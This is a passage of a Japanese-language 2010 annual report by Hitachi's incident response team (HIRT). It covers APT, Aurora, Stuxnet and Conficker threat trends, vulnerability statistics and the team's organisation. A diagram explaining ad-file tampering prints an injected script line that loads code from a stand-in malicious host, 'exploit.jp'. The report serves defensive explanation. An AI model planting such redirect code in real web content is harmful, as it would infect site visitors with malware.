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1 はじめに 
この 10 年間のサイバー攻撃に対処するための

日本国内の CSIRT (Computer Security Incident 
Response Team，シーサート) 活動は 2 つの時期に

分けられる (図 1)．第 1 期は認知期であり，米国

で始まった CSIRT 活動を参考にして，あらかじめ

決めておいた計画に沿って事後対処する『インシ

デントレスポンス』という考え方を導入した時期

である．第 2 期は黎明期であり，2001 年から 2003
年にかけ流布したネットワークワーム対処の経験

値をフィードバックして日本流のCSIRT活動が立

ち上がり始めた時期である．この黎明期には，2004
年情報セキュリティ早期警戒パートナーシップの

始動，脆弱性対策情報データベース JVN(Japan 
Vulnerability Notes)の開設，2007 年日本シーサート

協議会の設立など，日本という地域性を考慮した

CSIRT 活動基盤が整備され始めた． 
一方，この間も，サイバー攻撃は変遷を続け，

攻撃対象となる脆弱性は，オペレーティングシス

テムからアプリケーション (主に，Web アプリケ

ーション) へと広がり始めた．悪質なプログラム

も，ウイルス添付型メール，ネットワーク型ワー

ム，ボットなど，良くも悪くも技術を継承しなが

ら進化を続けてきた．さらに，2008 年頃からは，

Gumblar (ガンブラー) に代表されるホームページ

誘導型マルウェアや USB メモリ型マルウェアの

ように，ユーザの心理面や行動面の脆弱性を利用

して，サイバー攻撃活動の渦中に巻き込む手法も

一般化しつつある． 
このようなインシデントの変遷を踏まえると，

日本国内の CSIRT 活動の次の 5 年は，日本という

地域性 (いわゆる現地化) を踏まえて CSIRT 活動

を定着させる必要があろう．さらに，現地化した

CSIRT 活動と国際連携との新しいトラストモデル

を考え始める時期にある． 
我々の考える CSIRT の要件は，脆弱性対策やイ

ンシデント対応を推進するにあたり，『技術的な

視点で脅威を推し量り，伝達できること』，『技

術的な調整活動ができること』，『技術面での対

外的な協力ができること』 という能力を備えて

いることである．これは，特別な要件を想定して

いるわけではない．その役割は，インシデントオ

ペレーション (インシデントに伴う被害を予測な

らびに予防し，インシデント発生後は被害の拡大

を低減するために実施する一連のセキュリティ対

策活動) の経験値を活かして 『次の脅威をキャッ

チアップする過程の中で早期に対策展開を図る』 
ことにある． 
 

 

1998～2003 2004～2009 2010～2015

均一的かつ広範囲に渡る単発被害
　Webサイトのページ書き換え

均一的かつ広範囲に渡る連鎖型被害
　ウイルス添付型メールの流布
　ネットワーク型ワームの流布

すべてが異なる局所的な被害
標的型攻撃
戦術型攻撃

脆弱性対策／インシデント対応認知期 脆弱性対策／インシデント対応黎明期 脆弱性対策／インシデント対応定着期

オペレーティングシステムの脆弱性 アプリケーションの脆弱性 ユーザの脆弱性

▼HIRTプロジェクト始動 ▼HIRTセンタ開設

【 国内のCSIRT活動 】

【 インシデントの特徴 】

【 攻撃対象となる脆弱性 】

【 HIRTの活動 】

4つのIRTをコンセプトとした仮想組織
体制の整備による情報セキュリティ早
期警戒パートナーシップへの対応

海外IRT活動(FIRST、WARP)、
国内IRT活動(日本シーサート協議会)
参画を通した連携モデルの構築

技術、コンテンツ、運用連携による、
ユーザ、製品／サービスエリア一体化と、
脆弱性対策／インシデント対応に
関する問題の低減

海外ならびに国内IRT連携活動を
通したトラストモデルの構築

脆弱性対策／インシデント対応情報
発信を通したIRT活動モデルの構築

 
図 1：インシデントの変遷と HIRT の活動概要 
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HIRT(Hitachi Incident Response Team)は，これら

能力ならびに役割を持った組織として，製品なら

びにサービスの脆弱性対策，マルウェア被害や情

報漏えいなどのインシデント対応を先導すると共

に，セキュリティ分野での日立ブランドを向上す

るための活動，仕組みならびに体制を整備する日

立グループのCSIRT統一窓口組織としての責務を

負っている． 
本稿では，2010 年の HIRT 活動の報告として，

2010 年の脆弱性と脅威の概況と HIRT の活動トピ

ックスについて報告する． 
 

2 2010 年の活動概要 
本章では，2010 年の HIRT の活動トピックスを

中心に報告する． 
 

2.1 脅威と脆弱性の概況 

(1) 脅威の概況 
2010 年は，1 月に発生した Internet Explorer の脆

弱性を利用した侵害活動 (通称，オーロラ攻撃)，
7 月に発生した制御システムを攻撃対象とした

Stuxnet (スタクスネット) の流布など，特定組織体

を対象とし (標的型攻撃) ，組織内ネットワーク

を活動基点とする (潜伏型手法) 侵害活動が注目

され始めた．また，Gumblar (ガンブラー) に代表

されるホームページ誘導型マルウェア，Conficker 
(コンフィッカー) に代表される USB メモリを介

した感染など，既知の脅威による被害は継続して

いる状況にある． 
特に，2010 年 9 月には，Web サービス連携によ

って作成されたコンテンツ (マッシュアップコン

テンツ) に起因したマルウェアへの大量感染が発

生した．このインシデントは，マッシュアップコ

ンテンツという Web サービス固有の視点にたっ

た対処が必要であることを示した． 
 
 APT: Advanced Persistent Threat (攻撃対象を

狙い撃ちした高度な潜伏型攻撃) 
APT は，「特定組織を対象とし (標的型攻撃)，

組織内ネットワークを活動基点とする (潜伏型手

法の) 侵害活動」の総称である．2010 年 1 月に発

生した『Internet Explorer の脆弱性を利用した侵害

活動 (通称，オーロラ攻撃)』以降，広く知れ渡る

ようになった[1]． 
APT という用語が使われ始めたのはもう少し古

く，2008 年 4 月，Bloomberg Bussinessweek 誌の”An 
Evolving Crisis”という記事の中である．2006 年頃

から始まった米国政府や米国軍事関連企業を対象

とした侵害活動 Byzantine Foothold[2]での新たな

攻撃手法を説明する際に使われている．新たな攻

撃手法は，攻撃に使用できる資源は何でも使用す

ること，手法は高度かつ洗練されていること，攻

撃対象となる組織や情報が明確であること，そし

て，攻撃者は決して計画達成をあきらめないこと

を特徴としている．APT の名称には，その特徴が

表現されている[3]． 
国内では，2010 年 12 月，IPA が発行した『新

しいタイプの攻撃』に関するレポートの中で，『脆

弱性を悪用し，複数の既存攻撃を組み合わせ，ソ

ーシャルエンジニアリングにより特定企業や個人

をねらい，対応が難しく執拗な攻撃』として定義

されている[4]． 
APT は，多くの場合，システムに侵入するため

の共通仕様で構成された『共通攻撃』と，システ

ムに攻撃を仕掛けるための特別仕様から構成され

た『個別攻撃』とが組み合わされた攻撃手法であ

る (図 2)． 
 

起点はソーシャルエンジニアリングを用いた標的型攻撃

潜伏中は外部接続可能な通信環境を維持

最終目標(最終的な脅威)はターゲットにより異なる

信頼できる発信元からのメールまたはインスタントメッセージに含まれる
リンクから悪意あるWebサイトに誘導(⇒Gumblar)

USB経由でWindowsの脆弱性を悪用(⇒Conficker)

コマンドサーバや制御サーバとの接続

新たな機能や自身の更新のためファイルダウンロード

ソフトウェア構成管理システムへの攻撃(⇒Operation Aurora)

制御システムの動作妨害(⇒Stuxnet)

機密情報の窃取(⇒Night Dragon、⇒RSA SecurID関連情報の流出)

Ａ

Ｐ

T

共
通
攻
撃

個
別
攻
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図 2：APT＝共通攻撃＋個別攻撃 

 
2010 年 1 月，グーグルをはじめ，アドビ，シマ

ンテック，ヤフーなど，30 に及ぶ企業を対象に発

生した知的財産を窃取では，図 3に示す通り，

Internet Explorer の脆弱性 (MS10-035) の悪用を含

む『共通攻撃：①～⑤』と，ソフトウェア構成管

理システムを攻略する『個別攻撃：⑥』から構成

されている． 
同様に，2010 年 7 月，制御システムを攻撃対象

とした Stuxnet (スタクスネット) の場合は，図 4
に示す通り，USB 経由で Windows の脆弱性を悪用

して情報ネットワークに感染した後，制御情報ネ

ットワークへと侵攻する『共通攻撃：①～②』と，

制御ネットワークへの感染と制御システムの動作

妨害をもらたす『個別攻撃：③～④』から構成さ

れている． 
『共通攻撃』では様々な手法が使われるが，従

来の対策が効かない (システマチックな) 攻撃を

前提とした設計思想となっている．さらに，目標

に合わせて『個別攻撃』を入れ替える汎用な仕掛

けであるが故に，今後共，大きな脅威となる． 
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情報ネットワーク

ソフトウェア構成
管理システム
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管理システム
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③

④
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① 信頼できる発信元からメールまたはインスタントメ

ッセージでリンクを送信 
② リンクをクリックすると，悪意ある JavaScript を含む

Web サイトに誘導 
③ Internet Explorer の脆弱性 (MS10-035) を攻撃する悪意

ある JavaScript の実行 
④ 新たなバイナリをダウンロードした後に実行 

共

通 

⑤ バックドアをセットアップして，コマンドサーバと制

御サーバに接続 
個

別 
⑥ 侵害したシステムからアクセスできるソフトウェア

構成管理システム (Perforce など) に攻撃 

図 3：オーロラ攻撃の攻撃シナリオ 
 

情報ネットワーク

制御情報ネットワーク

SIMATIC

WinCC
プロセス
コンピュータ

制御ネットワーク

PLC
6ES7-417

SIMATIC

STEP 7
SIMATIC

PCS 7

PLC
6ES7-315-2

情報ネットワーク

制御情報ネットワーク

SIMATIC

WinCC
プロセス
コンピュータ

制御ネットワーク

PLC
6ES7-417

SIMATIC

STEP 7
SIMATIC

PCS 7

PLC
6ES7-315-2

USB接続

①

②

③

④

①

①

 
① 情報ネットワークへの感染 

Windows の脆弱性 (MS08-067，MS10-046，MS10-061，
MS10-073，MS10-092) を悪用して感染拡大 

共

通 ② 制御情報ネットワークへの感染 
Windows の脆弱性ならびに，独シーメンス社製ソフトウ

ェアの脆弱性 (CVE-2010-2772) を悪用して，SIMATIC 
WinCC，PCS 7，STEP 7 に感染 

③ 制御ネットワークへの感染 
独シーメンス社製ソフトウェア(SIMATIC STEP 7)を悪

用して，PLC (プログラマブルロジックコントローラ)に
悪質なコードの書き込み 個

別 
④ 制御システムの動作妨害 

何か月にもわたって出力周波数を短時間のうちに変化

させる⇒制御システムの動作妨害 

図 4：制御システムへの攻撃シナリオ (Stuxnet) 

 マッシュアップコンテンツを悪用したホーム

ページ誘導型マルウェア 
マッシュアップコンテンツ悪用型とは，他のサ

イトに置かれているファイルを改ざんすることで，

知らない間に，ホームページにアクセスするユー

ザを悪意のある Web サイトに誘導し，ウイルス感

染被害を発生させる手法である．例えば，ホーム

ページの参照する広告ファイルが改ざん (誘導コ

ードの埋込み) された場合，ブラウザは，誘導コ

ードによって，悪意のある Web サイトにアクセス

してしまうことになる (図 5)．広告ファイルが多

数のサイトによって参照されていると，1 つの改

ざんが正規サイトのホームページ改ざん N個分に

相当するため，影響が広範囲に渡る．また，広告

ファイル自身が他のサイトに置かれているため，

正規サイトの管理者が改ざんに気がつきにくいこ

とから，マッシュアップコンテンツという Web サ

ービス固有の視点にたった対処が必要となる． 
 

// 広告表示
document.write(
'<img src="NCA.jpg“ />);

正規サイト
http://example.jp/

<script  src=
“http://service.jp/2.js">

</script>

http://example.jp/index.htmlへアクセス

index.htmlダウンロード

http://service.jp/2.js へアクセス

2.js ダウンロード

正規サイトでの改ざんなし

正規サイトが間接的に参照して
いるサイトでの改ざん(誘導コードの
埋め込み)が発生すると、、、

http://exploit.jp/1.js へアクセス

攻撃コードやマルウェアのダウンロード

悪意のあるWebサイト
http://exploit.jp/

攻撃コードや
マルウェア

document.write(
'<script  src=
"http://exploit.jp/1.js">

</script>');
埋め込まれた
誘導コード

悪意のあるWebサイト
http://exploit.jp/

攻撃コードや
マルウェア

document.write(
'<script  src=
"http://exploit.jp/1.js">

</script>');
埋め込まれた
誘導コード

広告サービスサイト
http://service.jp/

改ざんを受けた

改ざん

 
図 5：マッシュアップコンテンツ悪用型の 

動作概要 
 
 Conficker (コンフィッカー) 
Conficker は，2008 年 11 月頃から Windows の

『Server サービスの脆弱性 (MS08-067) 』を悪用

するワームとして出現した．2008 年 12 月，USB
メモリを介して感染する機能が追加されたことに

より，隔離されたネットワークにおいても，USB
メモリという物理的な媒介手段を介しての感染が

広がった．2009 年にはいってからは，国内の USB
メモリ型マルウェア感染被害の報告件数は減少し

ている (図 6)[5]．しかし，Conficker Work Group
の観測によれば，Conficker に感染している台数は，

IP アドレスベースで約 500 万台と報告されている 
(図 7)[6]． 
このような状況を踏まると，警備員の配置 (ウ

イルス対策ソフトの導入)，警備員の強化 (セキュ

リティ修正プログラムの適用) と合わせて，まず，
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玄関に鍵を付けるという対策 (外部メディアの自

動実行＝無効) を浸透させていく必要がある[*a]． 
 
(2) 脆弱性の概況 

米 NIST NVD (National Vulnerability Database)[7]
に登録された 2010 年の脆弱性の総件数は 4,639 件

である．このうち，Web 系ソフトウェア製品の脆

弱性が約 3 割 (1,458 件) を占めており，2008 年か

ら増加傾向にある (図 8)．脆弱性の内訳は，クロ 
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図 6：USB メモリ型マルウェアの感染数(/月) 

(出典：トレンドマイクロ) 
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図 7：ConfickerA+B 感染台数(/日)の推移 

(出典：Conficker Work Group) 
 

0
1,000
2,000
3,000
4,000
5,000
6,000
7,000

19
95

19
96

19
97

19
98

19
99

20
00

20
01

20
02

20
03

20
04

20
05

20
06

20
07

20
08

20
09

20
10

(件) Webアプリケーション
Webアプリケーション以外

 
図 8：脆弱性報告件数の推移 (出典：NIST NVD) 

                                                        
*a) 自動実行機能 (Autorun) を無効にする更新プログラム 971029
を自動配信チャネルを通じて配信した結果、Autorun 機能を悪用

するマルウェアの感染率が大幅に低下したことがマイクロソフト

から報告されている (2011 年 5 月時点で、Windows XP SP3 で 62%
減、Windows Vista 全体では 74%減)。 

スサイト・スクリプティング (XSS)，SQL インジ

ェクションが約 8 割を占めるという状況が続いて

いる (図 9)．また，IPA に報告された稼動中 Web
サイトの脆弱性のうち，約 7 割がクロスサイト・

スクリプティング (XSS)，SQL インジェクション

によって占められており，これら脆弱性の報告件

数も 200 件/年を越えている状況にある (図 10)[8]． 
一方，国内の脆弱性対策データベース JVN 

iPedia に登録されている，クライアントで良く利

用されているアプリケーション，いわゆる定番ソ

フトウェアについては登録件数が増加傾向にある．

特に，Adobe Acrobat，Adobe Reader，Adobe Flash 
Playerは，2008年から 2010年にかけて 3倍 (Adobe 
Flash Player は 20 件から 57 件に増加) から 4 倍 
(Adobe AcrobatとAdobe Readerはそれぞれ 17件か

ら 68 件に増加) となっている (図 11)． 
Web サイトを活動基盤とした受動型 (誘導型) 

攻撃が一般化していることから，定番ソフトウェ

アの脆弱性対策と合わせて，Web サイトが侵害活

動の基点にならないよう，Web アプリケーション

系ソフトウェア製品の開発ならびに，Web サイト

運用の両面から脆弱性対策の推進が必要である． 
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図 9：Web 系ソフトウェア製品の 

脆弱性報告件数の推移 (出典：NIST NVD) 
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図 10：Web サイトの脆弱性報告件数の推移 

(出典：IPA，JPCERT/CC) 
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図 11：定番ソフトウェアの 

脆弱性報告件数の推移 (出典：IPA JVN iPedia) 
 

2.2 HIRT の活動トピックス 

本節では，2010 年の活動トピックについて述べ

る． 
 
(1) 日立グループ CSIRT活動の向上 (フェーズ 1) 
   の始動 
情報・通信システム社に所属する事業部・グル

ープ会社には，実行責任者／脆弱性関連情報ハン

ドリング責任者／IRT 連絡窓口担当者から構成さ

れた IRT 窓口が設置されている．しかしながら，

日立グループ全体にインシデントオペレーション

活動を浸透させていくためには，既設 IRT 窓口の

協力だけではなく，IRT 窓口の拡大，事業部・グ

ループ会社に所属し，HIRTセンタと協力して，IRT
活動を積極的に推進するメンバ (以降，IRT 連携

支援メンバ) との協力など，新たな施策が必要不

可欠である． 
そこで，2010 年から，日立グループ CSIRT 活動

の向上として，『日立グループ全体にインシデン

トオペレーション活動を浸透させていくこと』を

目標に，大きく 3 つのフェーズに分けた活動を開

始した (図 12)． 
 
(2) HIRT オープンミーティングを活用した 
   対策展開 

HIRT オープンミーティングは，信頼関係に基づ

く HIRT コミュニティを普及させるための活動で

ある．『HIRT 活動に関して，HIRT センタに所属

するメンバ同士が情報交換する場である』『HIRT
センタの活動内容について，日立グループに広く

知ってもらうことと，HIRT センタ以外からの意見

を広く取り入れるために，情報交換する場を公開

する』『公開の場を通じて，信頼関係に基づく

HIRT コミュニティへの参加を募る』という方針に

沿って開催している． 

支援対象部署支援対象部署

・セキュリティ情報
・セキュリティレビュー支援
・検査ツールの技術支援
・教育企画

HIRT
センタ

SIベンダIRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

社内ユーザIRT

製品ベンダIRT
IRT連携支援メンバ

全社各事業部・グループ会社

フェーズ1
事業部・グループ会社IRT窓口との連携強化

フェーズ2
IRT連携支援メンバとの連携強化

フェーズ3
バーチャルかつ横断的な対応体制(HIRTセンタ～IRT窓口～IRT連携支援メンバ)の整備
⇒日立グループ全体で推進するインシデントオペレーション活動の定着化

 
分類 具体的な施策 

フェーズ 1 事業部／グループ会社 IRT 窓口との連携強化 
 事業部／グループ会社 IRT と HIRT センタ連携

による各種支援活動の推進 
 HIRT オープンミーティングを活用した，IRT 連

携の運営体制，技術ノウハウの展開体制の整備

 セキュリティレビュー支援などから得られた課

題の解決に向けた対策展開 
フェーズ 2 IRT 連携支援メンバとの連携強化 

 IRT 連携支援メンバ(事業部・グループ会社)制度

の試行 
 IRT 連携支援メンバを起点とした IRT 活動のボ

トムアップ 
フェーズ 3 バーチャルかつ横断的な対応体制の整備 

 HIRTセンタ～IRT 窓口～IRT 連携支援メンバに

よる各種支援活動の推進 
 ユーザ連携モデル (フェーズ 1，2) と組織連携

モデル (フェーズ 3) 融合による広義の HIRT 
(バーチャル組織体制) の構築 

図 12：バーチャルかつ横断的な 
対応体制整備のシナリオ 

 
2010 年は，日立グループ CSIRT 活動の向上 (フ

ェーズ 1) の開始にあわせ，HIRT オープンミーテ

ィングを活用した，IRT 連携の運営体制，技術ノ

ウハウの展開体制の整備を実施した．具体的には，

HIRT オープンミーティングの主旨の下，脆弱性関

連情報ハンドリング責任者／IRT 連絡窓口担当者

連絡会『事務編』『技術編』の開催を定着させた． 
 事務編 (1 回／期)：脆弱性関連情報ハンドリ

ング責任者，IRT 連絡窓口担当者を対象に，

IRT 活動に必要となる運営ノウハウの共有な

らびに継承を目的とした会合 
 技術編 (2～4 回／期)：設計者，システムエン

ジニアや技術ノウハウの展開に協力して頂け

る方を対象に，製品・サービスセキュリティ

の作り込みに必要となる技術ノウハウを展開

するための会合 
 
特に，技術編では，トピックスをタイミング良

く取上げ開催することに主眼を置いたこともあり，

2010 年 12 月に 3 回の開催となった． 
 「制御系セキュリティ」セミナー ～制御系セ

キュリティ動向とスタクスネット事例～ 
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 携帯サイトのセキュリティ ～簡単ログイン

を中心に，構築・運用の経験談，ディスカッ

ション～ 
 通称「暗号 2010 年問題」 ～暗号アルゴリズ

ムの移行に関して～ 
 
(3) P2P ファイル交換ソフト環境で流通する 
   マルウェアに関する調査 
ファイル交換ソフトウェアを介した情報漏えい

については，社外との組織間連携が必要であると

考え，2009 年に引き続き，システム開発研究所と

共に，安心・安全インターネット推進協議会 P2P
研究会の協力を得て調査を実施した．特に，P2P
ファイル交換ネットワーク環境 Winnyに流通する

マルウェアについては，2007 年以降，依然として

Antinny 型の情報漏えいを引き起こす既知マルウ

ェアが多く流通している．その多くが安全なコン

テンツに見せかけた「アイコン偽装」を行い，巧

妙にマルウェアを実行させる偽装を行っており，

引き続き十分な注意が必要である． 
 マルウェアは 20～30 ファイルに 1 つ．流通量

が多いアーカイブファイル (zip，lzh，rar) に
限定すると，マルウェアは 5～7 ファイルに 1
つ (図 13) 

 既知マルウェアの 7 割が情報漏えいを引き起

こす Antinny とその亜種 
 マルウェアのうち，フォルダなどの安全なコ

ンテンツに見せかけたアイコン偽装を行って

いるマルウェアは約 9 割，さらに約 3 割がフ

ァイル名偽装 
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図 13：Winny に流通する情報漏えいを引き起こす

マルウェアの推移 
 
(4) CSIRT コミュニティとの組織間連携の強化 
組織間連携強化の具体的な活動として，2006 年

から NTT-CERT[9]と定期的に会合を開催し，

CSIRT 活動自身を改善するための情報交換を続け

ている．また，組織間連携の強化の一環として，

12 月に，日本シーサート協議会の国際連携ワーク

ショップ開催を支援した[10]．本ワークショップ

では，マルウェア対策やボットネット対策の専門

家を招き，講演会と演習が実施された (図 14)． 
 Honeynet Project の David Watson 氏による『ハ

ニーポットを用いたデータ分析演習 
(Honeywall and virtual honeypots)』 

 Shadowserver の Richard E.氏による『マルウェ

アの動的解析演習 (Becoming Criminal-A 
Botnet Exercise)』 

 

 
図 14：国際連携ワークショップ演習の様子 

(出典：日本シーサート協議会) 
 
『脅威分析』に必要となる観測データなどの情

報を組織間で相互活用していくためのフレームワ

ークである『日立 SOC-IX (Security Operation Center 
Information eXchange)』(図 15)については，日本シ

ーサート協議会のインシデント情報活用フレーム

ワーク検討 WG と連携して下記の情報発信を実施

した[11]． 
 ガンブラーウイルス対策まとめサイト 
 ボットネット PushDo による SSL 接続攻撃 

2010 年 2 月 3 日から，多数の発信元から，

443/tcp (https) ポートに対して不正な形式の

SSL 接続が大量に発生し始めたという DDoS
攻撃型のインシデントである．jp ドメインに

おいて約 40 箇所が攻撃対象となった． 
 マルウェア Stuxnet (スタクスネット) につい

て 
 

組織A　例えば、
NTT-CERT

組織B　例えば、
国内のCSIRT

組織C　例えば、
海外のCSIRT

事業部A 関連会社A 関連会社B

学術組織
例えば、東海大学

日立SOC-IX(Security Operation Center Information eXchange)日立SOC-IX(Security Operation Center Information eXchange)

組織A　例えば、
NTT-CERT

組織B　例えば、
国内のCSIRT

組織C　例えば、
海外のCSIRT

事業部A 関連会社A 関連会社B

学術組織
例えば、東海大学

日立SOC-IX(Security Operation Center Information eXchange)日立SOC-IX(Security Operation Center Information eXchange)

観測データなどの情報を交換する場所と仕組みを作ることによる利点
・ 多種多様で、多量の観測データを使った分析
・ 自組織では持っていない観測データの活用
・ 各CSIRTが得意とする分野の技術やノウハウの活用  

図 15：日立 SOC-IX の概念図 
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(5) その他 
 2010 FIRST Symposium, Hamburg において，産

学連携で開催している『マルウェア研究人材

育成ワークショップ (MWS2009) 』について

報告[12] 
 2010 年 7 月，インドネシアの学術系 CSIRT

活動を支援するため，JPCERT/CC と協力して，

ワークショップ『Academy CERT Meeting』の

開催を後援[13] 
 日経 BP 社 ITpro CSIRT (Computer Security 

Incident Response Team) フォーラムに，脆弱

性対策に関する記事「チェックしておきたい

脆弱性情報」を寄稿[14] 
 HIRT で推進している取り組みをレポート形

式にまとめてセキュリティ情報統合サイトに

掲載 (表 1) 
 
表 1：セキュリティ情報統合サイト掲載レポート 

番号 題名 
HIRT-PUB10008 日立グループにおける製品脆弱性情報の開

示プロセス 
HIRT-PUB10004 ゼロディに関する対応経緯(2010 年) 

 
HIRT-PUB10003 P2P ファイル交換ソフト環境で流通するマ

ルウェア(2010 年) 
HIRT-PUB10002 2009 年 HIRT 活動報告(HIRT: Annual Report 

2009) 
 
 

3 HIRT 
本章では，HIRT に対する理解を深めてもらうた

めに，組織編成モデル，調整機関である HIRT セ

ンタの位置付け，ならびに現在 HIRT センタが推

進している活動について述べる． 

3.1 組織編成モデル 

HIRT では，4 つの IRT という組織編成モデルを

採用している (図 16，表 2)．日立グループの場

合には，情報システム関連製品を開発する側面 
(製品ベンダ IRT)，その製品を用いたシステムを構

築やサービスを提供する側面 (SI ベンダ IRT)，そ

して，インターネットユーザとして自身の企業情

報システムを運用管理していく側面 (社内ユーザ

IRT) の 3 つがある．4 つの IRT では，ここに，IRT
間の調整業務を行なう HIRT/CC (HIRT 
Coordination Center) を設けることにより，各 IRT
の役割を明確にしつつ，IRT 間の連携を図った効

率的かつ効果的なセキュリティ対策活動を推進で

きると考えたモデルである．なお，HIRT という名

称は，広義の意味では日立グループ全体で推進す

るインシデントオペレーション活動を示し，狭義

の意味では，HIRT/CC (HIRT センタ) を示してい

る． 
実際，4 つの IRT が整備されるまでには，表 3

にある 4 段階ほどのステップを踏んでいる．各段

階においては組織編成を後押しするトリガが存在

している．例えば，第 2 ステップの製品ベンダ IRT
立上げには CERT/CC から報告された SNMP の脆

弱性[15]が多くの製品に影響を与えたことが後押

しとなった．また，第 3 ステップの SI ベンダ IRT
立上げについては『情報セキュリティ早期警戒パ

ートナーシップ』の運用開始が挙げられる．HIRT
センタは，3 つの IRT の大枠が決まった後に，社

内外の調整役を担う組織として構成されたという

経緯がある． 
 
 

お客さまシステムの
セキュリティ確保

社内インフラの
セキュリティ確保

日立製品の脆弱性対策

日立グループ
HIRTセンタ (HIRT/CC)

SIベンダIRT
社外SI／サービス

提供部署

社内ユーザIRT
社内インフラ

管理部署

製品ベンダIRT

製品開発部署

FIRST等の
社外IRTコミュニティ

情報セキュリティ早期警戒

パートナーシップ

各IRTとの連携窓口・取り纏め

社外IRTコミュニティとの
グローバルネットワークの構築

 
図 16：組織編成モデルとしての 4 つの IRT 

 
 

表 2：各 IRT の役割 
分類 役割 

HIRT/CC 該当部署：HIRT センタ 
 FIRST，JPCERT/CC，CERT/CCなどの社外CSIRT
組織との連絡窓口 
 SI ベンダ／製品ベンダ／社内ユーザ IRT 組織間

の連携調整 
SI ベンダ
IRT 

該当部署：SI／サービス提供部署 
 顧客システムを対象とした CSIRT 活動の推進 
 公開された脆弱性について，社内システムと同

様に顧客システムのセキュリティを確保 
製品ベンダ
IRT 

該当部署：製品開発部署 
 日立製品の脆弱性対策，対策情報公開の推進 
 公開された脆弱性について影響有無の調査を迅

速に行い，該当する問題については，告知と修

正プログラムの提供 
社内ユーザ
IRT 

該当部署：社内インフラ提供部署 
 侵害活動の基点とならないよう社内ネットワー

クのセキュリティ対策の推進 
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表 3：組織編成の経緯 
ステップ 概要 

1998 年 4 月 日立としての CSIRT 体制を整備するための

プロジェクトとして活動を開始 
第 1 ステップ 
社内ユーザ IRT の 
立上げ 
(1998 年～2002 年) 
 

日立版 CSIRT を試行するために，日立グル

ープに横断的なバーチャルチームを編成

し，メーリングリストをベースに活動を開

始．メンバ構成は主に社内セキュリティ有識

者及び社内インフラ提供部門を中心に編成．

第 2 ステップ 
製品ベンダ IRT の 
立上げ 
(2002 年～) 

製品開発部門を中心に，社内セキュリティ有

識者，社内インフラ提供部門，製品開発部

門，品質保証部門等と共に，日立版 CSIRT
としての本格活動に向け，関連事業所との体

制整備を開始． 
第 3 ステップ 
SI ベンダ IRT の 
立上げ 
(2004 年～) 

SI／サービス提供部門と共に SI ベンダ IRT
の立上げを開始．さらに，インターネットコ

ミュニティとの連携による迅速な脆弱性対

策とインシデント対応の実現に向け，HIRT
の対外窓口ならびに社内の各 IRT との調整

業務を担う HIRT/CC の整備を開始． 
2004 年 10 月 HIRT/CC として HIRT センタを設立． 
 

3.2 HIRT センタの位置付け 

HIRT センタは，情報・通信システム社配下に設

置されており，社内外の調整役だけではなく，セ

キュリティの技術面を牽引する役割を担っている．

主な活動は，製品／サービスセキュリティ委員会

活動の技術支援，IT 戦略本部／情報システム事業

部／品質保証本部との相互協力による制度面／技

術面でのセキュリティ対策活動の推進，各事業部

／グループ会社への脆弱性対策とインシデント対

応の支援，そして，日立グループの CSIRT 窓口と

して組織間連携によるセキュリティ対策活動の促

進である(図 17)． 
また，HIRT センタの組織編成上の特徴は，縦軸

の組織と横軸のコミュニティが連携するモデルを

採用しているところにある．具体的には，専属者

と兼務者から構成されたバーチャルな組織体制を

とることで，フラットかつ横断的な対応体制と機

能分散による調整機能役を実現している．このよ

うな組織編成の背景には，情報システムの構成品

が多岐にわたっているため，セキュリティ問題解

決のためには，各部署の責務推進と部署間の協力

が必要であるとの考えに基づいている． 
 

3.3 HIRT センタの主な活動内容 

現在推進している HIRT センタの主な活動は，

社内向けの CSIRT 活動(表 4)と，社外向けの

CSIRT 活動(表 5)とがある． 
社内向けの CSIRT 活動では，セキュリティ情報

の収集／分析を通して得られたノウハウを注意喚

起やアドバイザリとして発行すると共に，各種ガ

イドラインや支援ツールの形で製品開発プロセス

にフィードバックする活動を推進中である． 
 

全社各事業部・グループ会社全社各事業部・グループ会社

情報・通信システム社情報・通信システム社 本社本社

社外 IRT コミュニティ
－IRT機関(CERT/CC(米)、CPNI(英)、JPCERT/CC(日))
－政府機関(内閣官房、経産省、総務省、警察庁)
－ISP/セキュリティベンダ
　　(NTT、IIJ、IBM-ISS、ラック、トレンドマイクロ)他

社外 IRT コミュニティ
－IRT機関(CERT/CC(米)、CPNI(英)、JPCERT/CC(日))
－政府機関(内閣官房、経産省、総務省、警察庁)
－ISP/セキュリティベンダ
　　(NTT、IIJ、IBM-ISS、ラック、トレンドマイクロ)他

HIRTセンタ

製品・サービスセキュリティ委員会

・脆弱性対策支援
・インシデント対応支援
・情報提供
・相談、協力

情報システム事業部

品質保証本部

IT戦略本部制度面と技術面の相互連携
情報管理対策本部

情報管理委員会

情報セキュリティ企画委員会

技術面を牽引

制度面を牽引

日立のIRT窓口　　　(組織間の相互連携)
製品ベンダIRT社内ユーザIRT

SIベンダIRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

IRT連絡窓口担当者

脆弱性関連情報
ハンドリング責任者

実行責任者

事業部・グループ会社IRT

施策展開

実行部隊、IRT統括

技術支援

 
図 17：HIRT センタの位置付け 

 
表 4 推進中のプロジェクト(社内対応) 
分類 概要 

セキュリティ 
情報の収集／ 
分析／提供 

